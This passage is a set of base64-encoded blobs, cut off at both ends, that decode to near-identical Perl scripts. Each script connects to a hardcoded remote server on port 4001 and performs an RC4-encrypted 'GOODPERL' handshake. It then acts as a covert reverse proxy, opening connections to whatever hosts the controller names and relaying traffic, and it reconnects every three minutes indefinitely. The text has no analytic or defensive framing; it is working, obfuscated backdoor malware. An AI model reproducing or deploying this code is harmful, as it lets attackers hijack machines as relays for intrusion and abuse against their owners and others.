B7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZl